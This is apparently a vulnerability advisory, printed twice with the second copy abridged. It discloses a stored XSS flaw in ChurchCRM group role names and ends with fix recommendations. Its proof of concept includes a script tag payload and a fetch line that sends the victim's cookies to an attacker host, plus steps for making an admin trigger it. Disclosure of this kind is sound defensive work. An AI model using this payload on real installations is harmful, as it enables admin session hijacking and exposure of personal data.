Summary
A stored cross-site scripting (XSS) vulnerability exists in ChurchCRM that allows a low-privilege user with the “Manage Groups” permission to inject persistent JavaScript into group role names. The payload is saved in the database and executed whenever any user (including administrators) views a page that displays that role, such as GroupView.php or PersonView.php. This allows full session hijacking and account takeover.
Details
The root cause is a lack of input validation and output encoding in the handling of group role names.
When editing a group in GroupEditor.php, the user can modify the role names. The application does not sanitize the input (e.g., no strip_tags, htmlspecialchars, or server-side validation). The value is stored in the list_lst database table.
Later, the stored value is injected directly into HTML without escaping:
- In GroupView.php, group roles appear inside table cells wrapped in .
- In PersonView.php, the user's assigned roles are displayed under “Assigned Groups”.
Because no escaping is applied, any HTML or JavaScript stored in the role name is executed in the victim’s browser.
A low-privilege user (with Manage Groups) can therefore escalate privileges to full administrator by injecting JavaScript into a role and assigning that role to an admin.
PoC
Phase 1 - Attacker setup
Create x.js on attacker-controlled machine:
fetch('http://172.20.0.1:8000/log?cookie=' + encodeURIComponent(document.cookie));
Serve the file:
python3 -m http.server 800
Phase 2 - Inject the XSS payload
- Log in as a user with Manage Groups permission.
-
Navigate to:
Groups → List Groups → select any group → Settings.
-
In the “Group Roles” section, edit an existing role or create a new one.
-
Insert malicious payload:
"><script src=//172.20.0.1:800/x.js></script>
In the Group Roles list, click Default next to the role containing your injected XSS payload.
This ensures that the malicious role will automatically be assigned to any user added to the group, increasing the likelihood that an administrator will trigger the XSS when viewing their profile.

Click Delete next to the previous default role, typically "Member".
Removing the clean default role forces the system to use the XSS-injected role for all future assignments, guaranteeing execution when the victim views any page that displays their assigned role.

- Save the role name.
Phase 3 - Assign the malicious role to a victim
- Go to the Group View page.
- Add any user as a group member (e.g., Church Admin).
- Select the malicious role from the dropdown.
- Save the assignment.
Phase 4 - Execution of XSS
When the victim (admin) visits:
- Their user profile: PersonView.php
- The group view page: GroupView.php
The stored JavaScript executes immediately.
On the attacker server, incoming requests will appear:

This confirms successful account takeover.
Impact
- Stored XSS
- Full administrator session hijacking
- Privilege escalation from low-permission user to full system admin
- Exposure of all sensitive personal data stored in ChurchCRM
CWE
CWE-79: Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)
Recommendation
- Implement output encoding (htmlspecialchars) for all role name renderings.
- Validate and sanitize role names on server-side.
- Review other list-based editable fields for similar vulnerabilities.
- Consider use of a central escaping library or templating engine.
Summary
A stored cross-site scripting (XSS) vulnerability exists in ChurchCRM that allows a low-privilege user with the “Manage Groups” permission to inject persistent JavaScript into group role names. The payload is saved in the database and executed whenever any user (including administrators) views a page that displays that role, such as GroupView.php or PersonView.php. This allows full session hijacking and account takeover.
Details
The root cause is a lack of input validation and output encoding in the handling of group role names.
When editing a group in GroupEditor.php, the user can modify the role names. The application does not sanitize the input (e.g., no strip_tags, htmlspecialchars, or server-side validation). The value is stored in the list_lst database table.
Later, the stored value is injected directly into HTML without escaping:
Because no escaping is applied, any HTML or JavaScript stored in the role name is executed in the victim’s browser.
A low-privilege user (with Manage Groups) can therefore escalate privileges to full administrator by injecting JavaScript into a role and assigning that role to an admin.
PoC
Phase 1 - Attacker setup
Create x.js on attacker-controlled machine:
fetch('http://172.20.0.1:8000/log?cookie=' + encodeURIComponent(document.cookie));Serve the file:
python3 -m http.server 800Phase 2 - Inject the XSS payload
Navigate to:
Groups → List Groups → select any group → Settings.
In the “Group Roles” section, edit an existing role or create a new one.
Insert malicious payload:
"><script src=//172.20.0.1:800/x.js></script>In the Group Roles list, click Default next to the role containing your injected XSS payload.


This ensures that the malicious role will automatically be assigned to any user added to the group, increasing the likelihood that an administrator will trigger the XSS when viewing their profile.
Click Delete next to the previous default role, typically "Member".
Removing the clean default role forces the system to use the XSS-injected role for all future assignments, guaranteeing execution when the victim views any page that displays their assigned role.
Phase 3 - Assign the malicious role to a victim
Phase 4 - Execution of XSS
When the victim (admin) visits:
The stored JavaScript executes immediately.
On the attacker server, incoming requests will appear:

This confirms successful account takeover.
Impact
CWE
CWE-79: Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)
Recommendation